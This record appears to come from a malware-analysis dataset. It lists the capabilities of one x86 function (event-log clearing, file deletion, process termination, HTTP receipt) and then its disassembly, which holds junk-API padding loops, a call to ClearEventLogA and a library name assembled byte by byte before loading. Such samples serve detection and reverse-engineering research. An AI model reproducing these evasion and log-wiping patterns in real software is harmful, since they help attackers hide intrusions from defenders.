Function at 0x43dc30
Capabilities:
Access the windows event log
Clear windows event logs
Copy file
Delete file
Get common file path
Get disk information
Get file attributes
Manipulate console buffer
Move file
Query environment variable
Receive http response
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x43ee9c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2700
call fcn.00412880
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0xe4]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
cmp esi, 0x2cdb4
jge 0x43dc7f
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp dword [0x7c8ce4], 0x6fb
jne 0x43dc9d
push 0
lea eax, [esp + 0x314]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
cmp esi, 0x1e9afa00
jle 0x43dcb5
cmp ebx, 0xc10c66
je 0x43dcb5
cmp ebp, 0x952d5ac
jne 0x43dcbe
inc esi
cmp esi, 0x80c48
jl 0x43dc6d
cmp dword [0x7c8ce4], 0xcf8
jne 0x43de71
lea ecx, [esp + 0xd4]
push ecx
push 0
push 0x403fa0
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
cmp dword [0x7c8ce4], 0x3a
jne 0x43dd0d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
lea edx, [esp + 0x310]
push edx
push 0
push 0x403fd8
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
xor ebp, ebp
push ebp
call fcn.0040751d
add esp, 4
push ebp
push ebp
call fcn.004073e1
add esp, 8
lea eax, [esp + 0x30]
push eax
call fcn.004055c0
push ebp
push ebp
call fcn.004074dd
push ebp
push ebp
call fcn.004074dd
push ebp
call fcn.004075f1
add esp, 0x14
push ebp
call fcn.004076d7
mov edx, dword [esp + 0x34]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x8c]
add esp, 4
mov dword [esp + 0x14], ecx
mov dword [esp + eax + 0x30], 0x40417c
mov dword [esp + 0x271c], ebp
test byte [esp + 0x80], 1
lea ecx, [esp + 0x40]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x40], 0x40413c
je 0x43dd96
mov edx, dword [esp + 0x50]
mov eax, dword [edx]
push eax
call fcn.004075e6
add esp, 4
mov eax, dword [esp + 0x50]
mov dword [eax], ebp
mov ecx, dword [esp + 0x60]
mov dword [ecx], ebp
mov edx, dword [esp + 0x70]
mov dword [edx], ebp
mov eax, dword [esp + 0x54]
mov dword [eax], ebp
mov ecx, dword [esp + 0x64]
mov dword [ecx], ebp
mov edx, dword [esp + 0x74]
mov dword [edx], ebp
and dword [esp + 0x80], 0xfffffffe
mov dword [esp + 0x7c], ebp
mov dword [esp + 0x40], 0x4040f4
mov byte [esp + 0x271c], 1
mov eax, dword [esp + 0x78]
mov ebx, eax
cmp eax, ebp
je 0x43de2b
mov edi, dword [eax]
cmp edi, ebp
je 0x43de22
push ebp
lea ecx, [esp + 0x1c]
call fcn.00406a52
mov eax, dword [edi + 4]
cmp eax, ebp
jbe 0x43de00
cmp eax, 0xffffffff
jae 0x43de00
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x18]
and esi, edi
call fcn.00406a7a
cmp esi, ebp
je 0x43de22
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebx
call fcn.004075e6
add esp, 4
lea ecx, [esp + 0x44]
mov byte [esp + 0x271c], 0
call fcn.00406aab
mov dword [esp + 0x271c], 0xffffffff
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 4]
lea edx, [esp + 0x88]
mov dword [esp + ecx + 0x30], 0x404134
push edx
mov dword [esp + 0x8c], 0x4040e4
call fcn.0040665e
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
xor esi, esi
cmp esi, 0x408
jne 0x43de8c
mov eax, 0x5d1
add dword [0x7c8ce4], eax
cmp dword [0x7c8ce4], 3
jne 0x43debc
xor eax, eax
lea edx, [esp + 0x1c]
push edx
push eax
push eax
push 0x404028
push eax
mov dword [esp + 0x28], eax
call edi
push 0
push 0
lea ecx, [esp + 0x718]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
inc esi
cmp esi, 0x1518d4
jl 0x43de79
mov edx, dword [0x7c8ce4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x449d34], eax
mov eax, dword [0x7c8ce4]
xor esi, esi
test eax, eax
je 0x43df24
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
cmp eax, 0xfe
jne 0x43defb
push 0
call ebx
call fcn.0043d830
mov eax, dword [0x7c8ce4]
cmp eax, 0x29
jne 0x43df1f
push 0
push 0
lea eax, [esp + 0x718]
push eax
push 0
call edi
mov eax, dword [0x7c8ce4]
inc esi
cmp esi, eax
jb 0x43def0
cmp eax, 0x70
jne 0x43e019
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
mov esi, dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0
call esi
push 0
push 0x404048
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea ecx, [esp + 0x1710]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
lea edx, [esp + 0xf14]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0
lea eax, [esp + 0x314]
push eax
push 0
call dword [sym.imp.KERNEL32.dll__hread]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
push 0
push 0
lea ecx, [esp + 0x1f18]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
push 0
push 0
call esi
push 0
lea edx, [esp + 0x714]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
mov eax, dword [0x7c8ce4]
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov dword [esp + 0x18], 0x9682ab
lea esp, [esp]
cmp eax, 0xdf
jne 0x43e14a
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0
call ebp
xor eax, eax
lea edx, [esp + 0x1c]
push edx
push eax
push eax
lea ecx, [esp + 0x1f1c]
push ecx
push eax
mov dword [esp + 0x28], eax
call ebx
lea edx, [esp + 0x24]
push edx
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x20]
push eax
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
push 0
lea edx, [esp + 0xf14]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
lea eax, [esp + 0xe0]
push eax
push 0x404050
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringA]
lea ecx, [esp + 0x1710]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [0x7c8ce4]
dec dword [esp + 0x18]
jne 0x43e040
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov esi, 0x1ff896f4
nop
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x43e160
mov byte [0x444fa0], 0
call fcn.0043d740
call fcn.0043da70
mov edi, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
jmp 0x43e190
cmp dword [0x7c8ce4], 0xba
jne 0x43e1a2
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x43e1b5
mov eax, 0
add dword [0x449d34], eax
inc esi
cmp esi, 0x1605a
jl 0x43e190
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov ebx, 0x1e6dcb
nop
cmp dword [0x7c8ce4], 0x85
jne 0x43e1ea
push 0
call esi
push 0
push 0
push 0
push 0
call edi
dec ebx
jne 0x43e1d0
push 0x444fa0
mov dword [0x444fa2], 0x33676d69
mov word [0x444fa0], 0x736d
mov dword [0x444fa8], 0x6c6c64
mov word [0x444fa6], 0x2e32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x7c8ce4], 0xc30
jne 0x43e2d0
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea edx, [esp + 0x1d0]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
push ebx
lea eax, [esp + 0x24]
push eax
push ebx
lea ecx, [esp + 0x71c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push 0x404058
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
lea edx, [esp + 0x28]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
push ebx
lea eax, [esp + 0x314]
push eax
push 0x4040c8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea ecx, [esp + 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov edx, dword [esp + 0x20]
push ebx
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
mov ecx, dword [esp + 0x2714]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret